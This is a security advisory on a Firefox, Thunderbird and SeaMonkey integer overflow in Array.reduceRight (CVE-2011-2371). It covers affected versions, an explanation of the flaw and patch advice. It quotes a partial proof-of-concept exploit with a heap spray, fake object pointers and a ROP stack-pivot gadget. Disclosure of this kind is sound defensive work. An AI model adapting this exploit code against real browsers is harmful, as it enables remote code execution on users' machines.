Security News
2011-42019 Mozilla Firefox Array.reduceRight Integer Overflow Vulnerability

1. Affected Version

Mozilla Firefox before 3.6.18 and 4.x through 4.0.1
Thunderbird before 3.1.11
SeaMonkey through 2.0.14

2. Description

Security researchers **Chris Rohlf** and **Yan Ivnitskiy** of Matasano Security reported that Mozilla Firefox, SeaMonkey and Thunderbird could allow a remote attacker to execute arbitrary code on the system, caused by an integer overflow in the reduceRight() method.

3. Vulnerability Analysis

The partial proof-of-concept code is listed as follows:

```
var applet = document.getElementById('MyApplet');


function spray() {
	// fake object pointers
	var ptrs = unescape("%u4141" +	// padding
			// MOV EDX,DWORD[ESI] 0c000048=0c00007c
			"%u0048%u0c00" +
			"%u4141%u4141" + // padding
			"%u4141%u4141" + // padding
			"%u4141%u4141" + // padding
			"%u4141%u4141" + // padding
			"%u4141%u4141" + // padding
```

```
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141"       + // padding
                    // PIVOT MSVCR71.dll 0x7C370EEF LEA ESP,[ESI-3]
                    //                              RETN 1C75
                    "%u0EEF%u7C37" +
                    "%u4141%u4141" + // padding
                    "%u4141"       + // padding
                    "%u240c%u3410" + // 3410240c RETN after PIVOT
                    "%u007c%u0c00" + // 0c00007c PTR TO END OF BUFFER
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u4141%u4141" + // padding
                    "%u002e%u0c00"); // 0c00007c -> 0c00002e
                                     // CALL PIVOT 0x7C370EEF

var bheader    = 0x12/2; // u.n.d.e.f.i.n.e.d. string
                         // beginning of each array element
var nullt      = 0x2/2;  // string null terminator
```

Table 1: The partial proof-of-concept code

About this leak, when a JavaScript Array object had its length set to an extremely large value, the iteration of array elements that occurs when its reduceRight method was subsequently called could result in the execution of attacker controlled memory due to an invalid index value being used to access element properties.

By convincing a victim to visit a specially-crafted Web site, a remote attacker could exploit this vulnerability to gain access to an element's property and execute arbitrary code on the system.

4. Recommendation

1. AegisLab IDP signature database can prevent this attack since 14/10/2011.
2. Upgrade to the latest non-affected version of the software.

5. Reference

1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2371
2. http://www.mozilla.org/security/announce/2011/mfsa2011-22.html